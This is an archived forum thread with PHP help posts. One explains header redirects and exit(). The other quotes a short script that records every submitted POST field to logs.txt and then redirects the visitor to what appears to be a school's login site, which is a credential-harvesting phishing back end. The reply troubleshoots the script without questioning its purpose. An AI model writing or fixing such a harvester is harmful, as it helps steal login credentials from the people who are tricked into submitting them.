You are viewing our Forum Archives. To view or take place in current topics click here.
#11. Posted:
ecco2k
  • Hide and Seek
Status: Offline
Joined: Oct 22, 201014Year Member
Posts: 830
Reputation Power: 458
Status: Offline
Joined: Oct 22, 201014Year Member
Posts: 830
Reputation Power: 458
Lucozayde wrote header('Location: ...') function's require an exit(); function prone to using the redirect, anything below this exit(); function is void (it will not be executed) unless wrapped inside an expression like so:

if(isset($x)) {
    header('Location: http://www.google.com');
    exit();
}

$myObject = new Object(); // this line will be executed since $x is not defined.


On the side, if you're creating a login system you should move away from text-driven systems and look into databases & holding an active session token.


header("Location"); doesn't require an exit(); after them, it's just best practice to do this so nothing else is loaded after you have sent the headers.
#12. Posted:
Cyimking
  • V5 Launch
Status: Offline
Joined: May 02, 201212Year Member
Posts: 1,129
Reputation Power: 34
Status: Offline
Joined: May 02, 201212Year Member
Posts: 1,129
Reputation Power: 34
thomas779 wrote When I open it, it says there is a problem with line 3,4 and 10

<?php
header ('Location: http://sms.eursc.eu');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


Check if log.txt is being opened correctly. If not then that's your error.
Jump to:
You are viewing our Forum Archives. To view or take place in current topics click here.